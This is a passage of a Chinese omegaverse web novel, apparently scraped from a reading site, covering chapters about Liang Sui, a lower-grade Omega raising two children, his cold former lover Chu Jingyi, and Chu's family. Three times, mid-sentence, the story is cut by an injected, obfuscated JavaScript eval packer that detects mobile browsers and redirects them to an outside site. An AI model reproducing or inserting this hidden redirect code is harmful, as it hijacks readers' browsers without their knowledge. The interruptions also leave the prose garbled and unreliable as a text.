还有那个项环,都不知道是多少年前的老古董了,就这么短短十来分钟,他身上那股俗媚至极的浓香就几乎充满了整个卫生间。仿佛置身于暮春时节热烈盛放的栀子花丛中,褚京颐不适地频频咽嗓,试图润泽干痒的喉咙,只觉得自己的口鼻都像是要被这超出极限的香气挟持。 比起优等Omega广受人推崇的、仅具有适度助兴作用的淡雅清香,这股香气简直就像是一块撒满了廉价诱食剂的饵料,即便并非出自本心,依旧使人不可自控地血流加速,胃口大增。 梁穗应该庆幸,眼下跟他共处一室的Alpha是自己,而不是别的什么心存歹念之徒。 不然,就凭他劣等Omega的身份,还想指望事后伸冤吗? “我走了,”看在当年多少算是好过一场的份上,褚京颐最终还是决定出言提醒一句,“你最好也不要一个人待在这种偏僻的地方,万一闹出事来,彼此脸上都不好看。” 梁穗安静地站在原地,眉眼低垂,一动不动,并没有对这番居高临下的关心作出回应。 不习惯被无视的Alpha皱了皱眉,刚准备转身离开的脚步顿住,“没听到我说的话吗?走啊,还傻站着干什么?” 依旧没有回应。 褚京颐心里的火一下子蹿了上来,他并没有发现自己此刻在Omega信息素的影响下似乎格外暴躁易怒,只想让梁穗顺从,干脆伸手朝着用沉默表示抗拒的男人抓去:“别不识好歹!” 阴冷潮湿的海水气息铺天盖地而来,肆无忌惮地蚕食着孱弱不堪的劣质甜香。 这种来自信息素层面的压迫与侵犯令下位者浑身都发起抖来,梁穗双腿一软,扑通一声坐倒在地上,几乎是本能般手脚并用地努力往盥洗台下方挪动着身子,喉间再度溢出恐惧的呜咽声。 没用的东西,凶一点就害怕成这样!搞得自己好像要□□他似的! “少自作多情了,我又不会对你怎么样!”胸中涌上一股夹杂着羞辱的愤怒,褚京颐磨了磨牙,“你出来,我只是想带你去安全的地方。” “呜呜……” 劝阻无用,梁穗已经哆哆嗦嗦地贴上了此刻唯一可为他提供些许安全感的台面后方,高大的身体瑟缩成一团,可怜得不行,看得褚京颐心里一阵阵窝火。 “滚出来,别让我说第三遍!” 褚京颐觉得自己也是气昏头了,竟然冲动地拽住他的胳膊直接往外拖。 等级相差过于悬殊的信息素威压沉沉压下,就像是一头猛虎将血盆大口探进兔子洞中准备捞食鲜肉,梁穗吓得肝胆欲裂,死死抱着盥洗台的支腿不肯松手,眼泪啪嗒啪嗒掉了一脸,拼命摇着头,含泪的眸子哀求般望向上方那位美丽凶恶的Alpha。 不要、不要这么粗暴地对他,留他一个人在这里就好,不要再凶他,不要再吓他,不要……不要再这样虐待他…… “穗穗!” 大门砰一声被人从外面推开,褚京颐已经被梁穗的不配合刺激得红了眼,暴戾之气大盛,听到动静的第一反应就是恶狠狠地回头看去,仿佛一头即将进食前偏偏被人闯进领地的猛兽,下一刻便要暴起伤人。 两个腰间别着警棍的保安率先冲进来,见是这位威名赫赫的褚二少,想上前阻拦,又犹犹豫豫地不大敢,“褚少,您,您看这……这不合适啊,请先放开这位先生……” “放开他!” 梁晓盈从保安腋下钻出去,迅速冲到妈妈身边,愤怒地用力掰扯着褚京颐紧攥着妈妈胳膊的手,“你想干什么?快松手!收好你的信息素,你把他吓坏了!Omega经不起你这么吓!” 稚嫩的、如同标注了亲缘幼崽身份的Alpha信息素从这个相貌酷似自己的小女孩身上汹涌迸发而出,娇小的身体呈保护姿态拦在瑟瑟发抖的妈妈身前,毫不畏惧地对于正当盛年的父亲发起挑战。 “不准伤害穗穗!” 褚京颐盯着那张怒气冲冲的小脸,心中诸般狂躁情绪突兀地停顿一瞬。良久,他牵了牵唇角,正准备开口,忽然又有两个小豆丁跑过来,一左一右地抱住了他的手臂,异口同声,大呼小叫。 “呜、呜呜哇哇啊啊啊!爸爸!爸爸不要打妈妈!” “舅舅你怎么能这样!你为什么要欺负晓盈的妈妈?你这样不对,伤害Omega是犯法的!” …… 一场闹剧,直到班主任龚老师带着保安队长匆匆赶到控制现场,方才终于乱七八糟地落下帷幕。 - “我跟你说什么来着?穗穗,我是不是让你不要一个人待着?为什么不听话?” 梁穗蔫头耷脑地坐在沙发上,乖乖听着女儿的训斥,没有一点要反驳的意思。 “你气死我算了!”梁晓盈余怒未消,狠瞪了妈妈一眼,又调转枪口对准了弟弟,“小满你也真是的,玩悠悠球玩得妈妈都忘了?你跟贺卯威那小子回家得了,反正你俩是一国的!” “还有你刚才喊的那是什么狗屁玩意儿!又开始给自己认爹了是吧?梁小满,你能不能有哪怕一丁点儿骨气!别让我瞧不起你!” 梁小满被骂得头都不敢抬,“对不起,晓盈,我以后再也不会了……” 把两人轮番教训了一通,梁晓盈犹不解气,想到不久前看到的那副画面,她心里头疑窦丛生,问,“穗穗你跟我说实话,你是不是还对那个姓褚的……?” 梁穗慌忙摇头,手忙脚乱地比划着:「没有,我早就不喜欢他了。」 梁晓盈接着问:“那他呢,他刚才对你那样,是想标记你吗?你也想给他标记?” 就刚才那漫溢得整条走廊都是的信息素浓度,不知道的还以为里头正在上演什么限制级场景呢。 梁穗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16314664|182931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把头摇成了拨浪鼓,「真的没有呀,他是在吓我,想赶我走。」 虽然不算聪明,但Omega对于他人的情绪一向敏锐。 褚京颐明显是在故意欺负他,不加掩饰地对他倾注恶意,奚落他、挖苦他、恐吓他,想让脆弱的劣等Omega受不住打击主动离开,不再碍自己的眼。 但他绝不会被这么吓跑的。 梁穗想,还说他自作多情,其实自作多情的人是那个人才对吧。他并不是抱着要跟褚京颐再续前缘的念头才执意要留在洛市的,梁穗只是在过自己的人生。 「可以回家了吗?」他问女儿,「身上弄得很脏,我想洗澡。」 梁晓盈往接待室的窗外看了一眼,“再等会儿,等龚老师把今天这次事故的调查报告拿过来,你看着没问题签了字就能走了。” 发生在公共场合的信息素暴动事件,尤其涉及劣等Omega,一般都是要有专人负责调查事故前因后果并拟出后续相关处理方案的。 介于劣等Omega那宛如不定时炸弹一般的极度不稳定性,如果梁穗被判定需要在此次事故中承担更多责任的话,个人身份信息中的风险指数就会相应提升,这将对他今后的工作生活等各项社会活动都造成不小的负面影响。 若是风险等级累积进入橙色警戒阶段,那么梁穗要么被驱逐出洛市,要么就得被洛市治安管理局强制收容,投入信息素匹配系统中尽快筛选出合适的Alpha进行婚配——说不好哪边更恐怖一些。 “所以,你以后记得离Alpha远一点,特别是那个褚京颐,不许再跟他单独相处,知道吗?”梁晓盈严肃地叮嘱道,“不能给任何心怀不轨的Alpha可乘之机。” 梁穗先是点点头,又有些迟疑地比划,「我们早就结束了,没有感情了。」 他想说女儿对于那个人的揣测似乎过于杞人忧天了,心怀不轨这个词用在褚京颐身上让他有种荒诞的不可置信感,同时还有点给自己脸上贴金的羞耻。 褚京颐对他?怎么可能呢。 毕竟,但凡对他还有最后一丝丝温情,那人当初都不至于用那样残酷的方式逼他分手,不顾怀着身孕的他苦苦哀求,强行将他赶出洛市,就在高考的前一个月,斩断了他的全部希望。 一去经年,再炽烈的爱火也被漫长时光消磨。不管是梁穗对褚京颐,还是褚京颐对梁穗,不管孰重孰轻,二者的分量都只会在已有的基础上一再衰减,直至成空。 “没感情就不用防备了吗?” 梁晓盈盯着他,毫不客气地质问:“穗穗,你也不是小孩儿了,难道你觉得这些高高在上的Alpha睡你之前还准备正儿八经追求你?劣等Omega睡了又不用负责,没感情怎么了,没感情也照样能睡,不是吗?” 不知道为什么,梁穗总觉得女儿这话意有所指,似乎是在对自己作着某种意味深长的敲打或是警告。 这叫他……叫他怎么回答才好呢。 面颊上一阵阵发着烧,Omega只好装作没听出她的弦外之意,低头不语。 龚老师将调查报告拿过来给他签字的时候已经是两小时后了,所幸这次事故最终被定义为一场意外,梁穗的个人风险评级并没有上涨,仍然处于相对安全的蓝色区域。 “以后还是小心些吧,”龚老师好心提醒,“我的建议是,学校以后的亲子活动最好还是让您的配偶来,您这样的情况确实缺乏安全保障。” 梁穗点点头,梁晓盈代替他说:“好,我们知道了龚老师,谢谢提醒,今天就去给他换个安全系数高一点的防身项环。” 龚老师听出这是委婉谢绝自己提议的意思,叹了口气,并没有强求。 梁小满拉住妈妈另一只手,跟老师道别,“龚老师再见。” “再见,暑假愉快。” 刚走出休息室的大门,梁穗就在走廊上瞥见一道高挑纤细的人影。 大概是注射过抑制剂与镇定剂的缘故,那人看起来已经冷静了不少,换了一套新西服,头发也重新梳理整齐,正靠着栏杆,面无表情盯着自己,看起来像是早已等候多时。 这时已经快十二点了,他肤色苍白、五官艳丽的面庞被大中午的阳光一照,蓦地透出几分森森鬼气,令人想起盘踞在残垣缝隙中窥伺室内书生的美女蛇。 梁穗背后的鸡皮疙瘩都起来了,立即低下头,装作没看到那人已经直起身、正准备朝自己走来,拉着两个孩子,头也不回地下了楼。 “梁穗!” 梁穗跑得更快了,没有回头,将那人的声音与气息都远远抛在身后。 11. 第 11 章 蝉鸣阵阵,伴随着台上老师温吞的讲课声,催眠效果一流。 十六岁的褚京颐单手撑着下巴,无聊地转着笔,黑板上的字迹变得模糊,眼皮渐渐合拢。 正在这时,袖子被人轻轻扯了一下。 他抬起眼皮,往旁边一扫,对上一双圆滚滚、黑乎乎的大眼睛。 “京颐,”很小很小的声音,比耳语还要轻微,贴在人肩头,像是撒娇,“我饿了。” 褚京颐不耐烦地斜了他一眼,“中午吃饭的时候干什么去了?这才几点,忍着。” “不要,下课陪我,去超市。” “要去自己去,别拉着我。” 容貌虽然谈不上秀美,但十分端庄英朗的少年鼓了鼓腮帮,明明看见他嘴唇在动,但最终还是没有出声,而是换成手语指责:「我中午因为教你手语才没来得及把饭吃完。」 懒的他,话一长就不想说了。 “我求你教我了吗?再说我不也没吃几口。” 下课铃响了,褚京颐不再看他,趴下就睡:“我睡会儿,卡在书包里,吃什么自己买,别烦我。” 四周陆陆续续响起椅子拖动与行走的脚步声。肩膀又被推了两下,褚京颐装睡不理。 有什么热乎乎的东西靠过来,贴在他耳边不住蹭动,隐约能感觉到一点湿润的鼻息,音量更低但听得更清晰的声音传进耳膜:“你陪我。” “……” “陪,我。” 褚京颐装不下去了,硬声道:“不陪。” 鼻息加重,像是要气哭了似的急促抽动两下,更加用力地拱他,“男、男朋友,必须陪。” “谁是你男朋友。” 所有的轻柔推搡拱蹭都停了一下。 几秒钟后,褚京颐听到了一道响亮的抽泣声:“呜、呜呜……” 靠! Alpha忍无可忍,拍案而起:“你有完没完!不让拉手也哭,放学不等你也哭,不陪你去超市还是哭!你眼睛里装水龙头了?烦不烦啊!” 四下传来同学的咕咕窃笑,有平时交好的朋友朝他挤眉弄眼:“你就陪人家去呗,别这么没风度嘛,Omega不就是用来宠的,褚二你怎么能眼睁睁看着这么娇弱的一个人儿哭成这样……” “滚!” 起哄者作鸟兽散,褚京颐看着旁边这个不管是身材还是长相都跟“娇弱”二字扯不上半毛钱关系的健壮少年,眉心猛跳,再一次后悔起自己上学期的冲动之举。 不该因为觉得被追得太麻烦就松口答应跟他交往的。 交往之后,也没见他让自己省心多少,每天该黏人还是黏人,去哪儿都得跟着,晚上短信能发到十一点,起床还得发早安! 还爱哭,本来长得就不漂亮,哭起来更显得脏兮兮的,跟谁家走丢了的小土狗似的,哪有个Omega该有的样子! 哼,怪不得是劣等品。 “呜呜……呜呃、嗯……呜呜呜……” 褚京颐受不了了,霍地站起来,黑着脸往教室外走,“别哭了,走吧,陪你去超市。” 他走了几步,见对方没跟上,便回头去看。那人正眼圈通红地坐在座位上,似乎仍觉得委屈,含着泪的眸子睁得很圆,很倔强地跟他对视。 褚京颐问:“你走不走?不走我回去睡觉了。” “男、男……”他嗓音抽噎,磕磕绊绊地求证,“男……朋友。” Alpha彻底无语了。 不知从哪里又传来几声窃笑,瞪过去时又一片安静。褚京颐几乎抓狂:“男朋友!行了吧?爱去不去!” 说完扭头就走。 这一次,身后很快就响起了急切追来的吧嗒吧嗒脚步声。 热烘烘的身子偎过来,紧紧搂着褚京颐的胳膊。虽然没说话,但依然能感受到他此刻的开心,要真是一条小狗的话,估计早就开始摇头晃脑甩尾巴了。 “吃烤肠,”贴在褚京颐耳边的声音轻轻说,“喝汽水。” “知道了。” “还,还有,面包,果酱……草莓酱,鸡腿,关……关东煮,巧克力,酸奶……” “你猪啊你,吃这么多……停!不准哭!又没说不给你买!” “不要,不能凶我。” “啧。” “又凶。” “梁穗你别给我没事找事啊,我忍你很久了!” “唔……” 正在吵吵闹闹下楼梯的两人,并没有留意到一道抱着花瓶的纤弱人影正好转出楼梯拐角,下一瞬,两两相对,双方打了个完整的照面,险些撞上。 “……啊。” 清风徐来,拂起少年鬓边几缕发丝,露出一张宛如窗外垂吊的紫藤花枝一般清丽明媚的面庞。 片刻的惊讶过后,便是温婉绽开的笑颜。 “好巧。” …… 手中钢笔不慎掉落,在紫檀木办公桌上击起一声清脆的回响。 保持着单手支额姿势的青年被这声响动惊醒,倏地睁开眼。 正午阳光灿烂,落地窗开了一片扇叶通风,三十六层之上似乎仍能听到蝉鸣。 天清气朗,云层浓白,轻易便能眺望远方苍翠欲滴的群山轮廓,夏意十分鲜明,却已经不再是多年前西嘉高中部的那个盛夏了。 不知不觉就睡了过去啊。 太阳穴隐隐作痛,褚京颐直起身,目光不经意从桌上摆着的一张合照掠过,那副熟悉的恬淡笑颜依稀能与梦中所见之人重合,静静地伫立在他面前。 卿玉…… 说起来,最近的确是该抽出时间去看看卿玉了。 “褚总,”助理江淮推门进来 ,为他送上咖啡和最新一版的并购方案,“刚才老宅那边来了电话,刘管家说……” 褚京颐打断他:“我知道,晚上家宴会准时到,叫他不用再提醒了。” “好的。” 褚京颐将咖啡一饮而尽,拿过那份并购案翻了翻,随口问:“下午什么行程?” “三点钟您有个跟高管的会,之后四点半,茂恒的顾经理要来跟您洽谈这次合作的事……” “舅舅!” 一个毛茸茸的小脑袋从门缝钻进来,两度开口都被打断的江特助瞄了眼老板瞬间黑下去的脸色,无奈退开,为奋力挣扎着挤进来的贺卯威让开一条路。 “舅舅,你给晓盈妈妈道歉了吗?赔了多少钱啊?为什么她还是不理我!我刚才给她发消息发现她把我拉黑了!她不会讨厌我了吧呜呜呜呜哇哇!” 褚京颐揪着小孩儿的后脖领子将他从自己腿上撕下来,“鼻涕别蹭我身上。” 贺卯威哭丧着一张小脸,“怎么办啊舅舅,晓盈好像真的不跟我玩了。” “那你去找别人玩,不是说现在班里有不少同学都跟你玩了吗。” “有人跟我玩,小满也跟我玩,但我最想跟晓盈一起玩……她不能不理我哇!” “出息!”褚京颐嫌弃地弹了他一个脑瓜崩,“你一个Omega整天追在Alpha屁股后面跑,丢不丢人啊?知道矜持两个字怎么写吗?” 贺卯威可怜兮兮地捂着脑门儿:“可是晓盈是女孩子啊。” “女孩怎么了,那也是Alpha。你也不小了,再过两年都要正式分化了,注意安全懂不懂?” 小孩儿据理力争:“可是我们生理课上讲女A比男A安全好多好多!袭击案件有百分之七十都是男A犯的!” “嗯,那你猜剩下那百分之三十是谁干的?” “……呜哇舅舅讨厌!我不管我不管我不管!我就要跟晓盈一起玩!” 任由烦人的小外甥撒泼打滚儿闹了半个多小时,褚京颐耐心彻底告罄,“行了,出去拼你的乐高去吧,再吵我就把你扔回枫露湾去。” 枫露湾是褚京颐近期常待的一处寓所。 贺卯威最近看了部恐怖片,认定里头那栋闹鬼的豪宅与枫露湾别墅的外形相似度高达百分之九十九,从此留下心理阴影,褚京颐不回家他就坚决不肯独自待在那里,每天早上一睁眼就哭着闹着要来公司找舅舅,保姆拗不过,只好将他送过来打扰褚总办公。 “不要!我不要回鬼屋!舅舅你这样是虐待小孩儿!” “那就老实点儿,不然现在就让江特助送你回去跟女鬼玩。” 此话一出,正在地毯上不停耍赖打滚儿的贺卯威一骨碌爬起来,把脸蛋一抹,乖乖回会客室玩他的乐高小人了。 过了几分钟,褚京颐正在看今天下午的会议要点,门口又鬼鬼祟祟探过来一个小脑袋,“舅舅。” “滚蛋。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16314665|182931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我就问你最后一个问题!”贺卯威比划了一个一点点的手势,“问完我就不烦你了!” “你也知道你烦人啊,小兔崽子,”褚京颐把手里的A4纸往桌上一摔,语气不善,“赶紧问,问完赶紧滚。” “那咱们先说好,你不能生气哟。” “那你别问了。” “我不!”贺卯威不等舅舅赶人就语速极快地问出了口,“那天小满为什么喊你爸爸啊?” “……” “小满说我听错了,但我没有,我就是听到他喊你爸爸了。”小孩儿说到这里压低嗓音,神秘兮兮的,“然后我还发现了一件事,晓盈她好像长得跟你……” “江特助,”褚京颐按了按眉心,“麻烦你,现在、立刻把他送回去,跟家里保姆说以后无论如何都不准再往公司送。” “不要不要不要我不回去!呜呜呜呜哇哇哇啊啊我知道错了!我不问了!威仔会替你保守秘密的舅舅!” - 托那小兔崽子的福,等把下午的工作都处理好,赶回位于近郊松湖山的褚氏老宅时,已经将近八点钟。 灯火辉煌的正厅里,饭桌两旁已经坐了几人,首座的正是褚氏家主褚砚城。 见他进来,褚砚城便淡淡一眼扫来:“架子不小,倒让长辈等起你来了。” 父子俩的容貌仅有三四分相似。不同于褚京颐的阴柔美艳,褚砚城相貌英挺,气质硬朗,不到五十岁鬓发已经染上斑白,却并不显老态,只衬得其人越发不怒自威。 “公司有点事情,来晚了。”褚京颐无甚诚意地道了个歉,又随意瞥向另一边坐着的二房母子,“二婶,豫安也来了。” “哎,哎,京颐工作真是辛苦了。”二房的女主人季夏忙热情而不失慈爱地回应,同时恨铁不成钢地拧了自己儿子一把,“你看看你哥,再看看你!臭小子倒是会躲清闲,从早到晚一点正事不干,也不说帮你哥分分忧!” 褚豫安被妈妈连推了好几下才把头抬起来,露出一张作为褚家人来说似乎过于平庸的脸,声音也低得跟蚊子哼哼似的,“哥。” “嗯。”对于这个万事不成的窝囊废堂弟,褚京颐一向没什么好脸色,敷衍地应了一声,就算是打过招呼了。 季夏没想到他居然根本不接自己的话茬,当时就有些讪讪的,还想再说什么,但褚豫安在桌下拼命扯她的手,她便也只好将话头又咽了回去。 “开饭吧。”当家人仿佛并没有留意到这边这场未曾真正掀起的小小风波,平静地宣布晚饭开始。 一月一次的家宴,自然不是仅仅为了凑一起吃个饭培养感情。 简单汇报完这个月的工作,褚京颐本以为这次回家的任务已经完成,正准备待会儿找个借口走人,冷不丁又听到父亲问:“靖溪那个项目,你筹备得怎么样了?” 褚京颐一顿,“还好。” “还好是到哪一步了?” “挺顺利的,快正式启动了。”褚京颐含糊地应付了一句,夹了一箸菜放进口中慢慢嚼,暗忖老头问这个是什么意思。 靖溪项目是他一手负责,与褚氏的其他产业关联不大,同他之前经手的徐关跟虹越的那两个产业园项目一样,褚砚城一向是不大干涉的,放手放得相当彻底,干好干坏都是他褚京颐一个人的事。 “是靖溪那个高新技术园区吧,”季夏笑着插了一句,“我最近在网上看到有不少媒体都在追踪报导这事呢,听说城建部打算围着靖溪高新区修两条快速通道,直通天运机场跟美莱港口,啧啧,那可不是什么一两天就能完工的小工程吧?” 褚京颐放下筷子。 他听到这里已经有些明白了,但并没有急着表态,看了看面色岿然不动的父亲,问:“爸,您的意思是?” 褚砚城说:“你的事你自己做主。只是一家子骨肉手足,你二叔没了,豫安还立不起来,你这个当哥哥的得负起责任来,能照顾就多照顾你弟弟一些。” 季夏赶紧推了儿子几下,死孩子就是不动弹,自家人面前怯什么场! 她心里骂骂咧咧,面上却努力挤出笑脸来,“嗨,也不能光让豫安靠着哥哥混吃等死,这么大的人了……那什么,京颐,你那个项目建材这一块,要是一时没合适的人选,你看看,能不能让你弟弟试试?” 12. 第 12 章 直到家宴结束,季夏还在不住地朝褚京颐千恩万谢: “真是多亏你了京颐,这些年要不是你跟你爸处处照顾,我们孤儿寡母真不知道该怎么活了!当年霖城刚走,老家那帮亲戚就上门逼我卖股份,我家这小子又是个不中用的,真是愁死我了……” 褚豫安这会儿倒是把头抬起来了,但仍显得窝窝囊囊的,小声朝堂兄道谢:“谢谢哥,我一定干好,不给你丢脸。” 褚京颐看了他一眼。 这一眼看的时间有点长,褚豫安抬起的脑袋慢慢又低了回去,大气都不敢喘,很惧怕他这个兄长的样子。 褚京颐收回目光,说:“没事,我把庄楷微信推你,让他带你一起做,有不懂的问他就行。以后,就老实点儿吧,别总让你妈烦心。” 对于二房的这对母子,褚京颐虽然没什么好感,但也还算照顾。 总归都是他这个褚家下一任当家人的责任之一,把人看管好就行了,能力范围之内他也不介意多帮一把。 他心里其实对那位早逝的二叔是很有几分非议的。 他们这样的人家,怎么能由着性子娶一个无法为家族带来丝毫利益的普通妻子呢? 季夏嫁进褚家之前,只是个连初中都没毕业的服装店小妹,父母早逝,她本人又是个平平无奇的Beta,连相貌也不算出众。 这样平凡的一个女人嫁入豪门,对她自己来说就是一场灾难。一旦失去保护人,周围的豺狼虎豹能把她们母子吃得骨头渣子都不剩。 即便是门当户对的婚姻,尚且不一定就能美满终老,何况双方差距如此悬殊。 世情如刀,弱者必遭屠戮。 时间不早了,告别父亲之后,褚京颐本打算离开,都快走到停车的后园了,假山后忽然闪出个人影来:“二少爷。” 褚京颐回头,花了几秒钟看清对方的脸,不由有些意外:“陈姨?” 围着围裙的中年女人连忙应声:“哎,二少爷,您这是要走了吗?” “嗯,回家看孩子,贺卯威在我那儿。” 陈姨犹豫了一下,还是走上前来,“您今天不来看看太太吗?” 褚京颐远远地望了眼那栋矗立在主楼旁边、主体隐在夜色中的三层小楼,笑了笑,问:“是她让你来叫我的?” “不、呃……是,是啊。”陈姨语塞。 青年看着她躲闪的表情,笑意渐渐转冷,“是吗,可我记得她上次说,这辈子都不想再见到我。” 陈姨沉默了一会儿,说:“您那天摔碎的玉锁,是大少爷周岁时太太特意命人打的,意义毕竟不同寻常物件。” 褚京颐转身就走。 陈姨追在他后面,急急地喊:“二少爷,您去看看太太吧!我知道太太心里肯定也后悔当初对您说了重话,但她要强了一辈子,头已经低不下来了,您就当体谅体谅她这个做母亲的,太太她,她已经在佛堂里不吃不喝跪了十七个小时了,您快去劝劝她吧!” 脚步一顿,褚京颐转过头来,“什么?” “今天,”陈姨喘了口气,面带悲色,缓缓说道,“太太今天梦到了大少爷……” - 在陈姨的带领下走进那栋牌匾上提着“观心”二字的小楼,一股浓浓的檀香味立即扑面而来,呛得褚京颐打了个喷嚏。 陈姨略带着些抱歉地解释:“早上一起来就点了香,味道实在散不出去。” 一楼被布置成佛堂样式,几尊佛菩萨像静静立在雕着祥云莲花纹的佛龛中,供桌上摆着新鲜的果品、鲜花与香烛。夜风将经幡吹得上下飘拂,隐约可见其上密密麻麻的血字经文。 供桌前跪着一个身着白色长裙的女人,一头黑发挽得整整齐齐,身姿笔挺,手中不停拨动着念珠。 化宝炉中香烟袅袅,她的面容笼罩在朦胧的烟雾中,已经看不真切,只能听到口中念念有词,褚京颐仔细听了一会儿,那似乎是《地藏菩萨本愿经》。 目光上移,落到佛像下方,那所谓被佛法庇佑的范围之内的牌位之上,一行娟秀的小字赫然在目:爱子褚绥宁之位。 诵经声一停,女人轻咳了两声,并没有动,依然跪在原地,红唇微启,那声音竟然还如同少女般娇柔甜美:“既然来了,去为你哥哥抄卷经吧。” 态度一如即往的平淡,仿佛数月之前那场几乎断绝母子亲缘的争执从未存在过。 “好。”褚京颐也平静地点点头,转身去墙边的案几旁 抽了张宣纸,也不用翻经书,随意研开一点墨水,自顾自撰写起来。 他写的是《心经》。 原因无他,这个最短。自从褚绥宁病故,徐寄蓉时不时就会抽疯,逼他跟自己一起抄诵经文祭奠亡子。褚京颐没耐心抄那些动辄几万几十万字的经书,第一次抄就坚定选择了只有260字的《心经》,并且至今也只抄这一部经。 七年下来,累计也抄了几百上千遍了,不说倒背如流,至少一气呵成不成问题。 “观自在菩萨,行深般若波罗蜜多时,照见五蕴皆空,度一切苦厄……色不异空,空不异色。色即是空,空即是色……是诸法空相……无挂碍故,无有恐怖,远离颠倒梦想,究竟涅槃……” 直至最终的,揭露世间一切奥秘的真言咒语: “揭谛,揭谛,波罗揭谛,波罗僧揭谛,菩提萨婆诃。” 万相皆空。 无一物是真实恒有。一切因缘而来,又将因缘而逝,欢愉只是无常的产物,痛苦与超脱痛苦的智慧自然也不复存在。 不必执着,速速放下,渡离此岸。 那么,徐寄蓉放下了吗? 当年使尽下作手段拆散褚砚城与他当时相好的恋人,不惜逼死对方也要强行嫁进褚家,阴差阳错,痴缠一生,与挚爱终成怨偶、形同陌路的徐寄蓉,真的放下了吗? 移情于身负不治顽疾的长子,视其为余生唯一意义,全然漠视与自己血脉相连的另一个孩子,直至爱子病夭,英魂消殒,从此心如死灰形如槁木一心向佛寻求解脱的徐寄蓉,真的放下了吗? 褚京颐将毛笔往案上一搁,拿起那张墨迹未干的宣纸,走到化宝炉前,将其扔进熊熊烈焰中。 一瞬间蹿高的火舌照亮了女人那张艳丽苍白、眉目如画的面庞,被火光扭曲的空气中,褚京颐看着这个孕育并赐予了自己肉身形貌的女人,有那么几个恍惚的时刻,像是看到了几十年后的自己。 或者,七年前的梁穗。 明知不可为却偏要勉强为之的两个Omega,在此刻,在他的面前,默默汇聚成同一副悲戚含泪的绝望面容,共同书写着飞蛾扑火自取灭亡这一颠扑不破的永恒真理。 以及,另一个因这剪不断理还乱的恩怨纠葛沉睡至今,虚度多年光阴的受害者……褚京颐真正的责任所在。 一代又一代延续的悲剧,必须在他手中终结。 陪母亲诵了两小时经,徐寄蓉终于在陈姨与他的反复劝说下起身。 此时她已经双腿剧颤,几乎无法直立,陈姨流着泪拿来药酒为她擦拭,只见那原本白皙的膝盖已经因为一丝不苟的长时间跪拜变得青紫发黑,肿胀得像是两只馒头,然而徐寄蓉却像是根本感觉不到痛苦,嘴角含笑,仿佛很满意一般盯着褚京颐。 “你该多来看看你哥哥的,”她说,“你们是同胞手足,是这个世界上最亲近的人,绥宁一直很喜欢你。你一来,我心里就安定了很多,大概是母子连心,绥宁也觉得高兴吧。” 神经病。 死了多少年了还没投胎转世?留在家里当地缚灵? “我走了,”褚京颐说,“你膝盖要是还想要就别跪了,坐着照样能诵经。要不就多安排几个佣人过来,陈姨年纪也大了,万一哪天你跪断了腿,她老人家可抱不动你。” 或许徐寄蓉这么多年对他的冷待是有原因的。 她们母子好似天生就合不来,褚京颐跟她待了这么久,已经觉得越来越难以忍受,把人安顿好之后,立即毫不留恋地离开了。 - 梁穗在一家酒店找了份后厨帮佣的工作。 工资不算太高,但每天包两餐饭,下班还能把客人剩下的食物打包带回家,伙食费能省下不少,这样算起来,薪酬待遇很不错呢。 后厨事多,梁穗经常被使唤得团团转,但大都是帮忙打下手、洗洗涮涮,不用与人交谈,只要埋头做事就行,人家还不嫌弃他的第二性别。梁穗对这份工作整体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16314666|182931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还算满意,只是每周都得上夜班,仅这一点有些不方便。 两个孩子还小,梁穗不放心让姐弟俩独自待在家里,而他有轻微的夜盲症,孩子们又担心妈妈走夜路被Alpha欺负。每次梁穗晚上一出门,总是做母亲的和为人子女的两方都要提心吊胆。 这一天,梁穗临下班前店里又来了客人,后厨众人忙得不可开交,他再心焦也不好意思先走。强打精神忙活到凌晨三四点,总算能下班了,又紧赶慢赶往家里走,刚爬楼梯来到自家门前,钥匙还没掏出来就听到了小满的哭声。 梁穗还以为是出了什么事,连忙打开门冲进去,只见小满捂着肚子倒在沙发上,晓盈单膝跪在弟弟跟前,一手拿药一手去掰他的嘴,已经急得一脑门汗:“张嘴!梁小满你不吃药是想要活活疼死吗?犟个什么劲儿啊!” “我、我……呜……不疼!”梁小满脸都白透了,却拼命摇晃着脑袋,不管姐姐怎么劝都不肯张嘴吃药,“我还能……还能坚持!省着下回吃!” “药是能省的吗?你个傻子!快吃!家里还有一整瓶没开封的呢!” “不吃……唔!呸呸呸!我不吃!” 梁穗再也看不下去,忍着眼眶的酸意,上前帮着晓盈把儿子的嘴巴掰开,硬生生把那片救命的药塞了进去。 「妈妈赚到钱了。」他在沙发前蹲下,直视着小满泪光闪闪的眼睛,很认真地比划,「不用省,每天都要吃药,不要让我担心。」 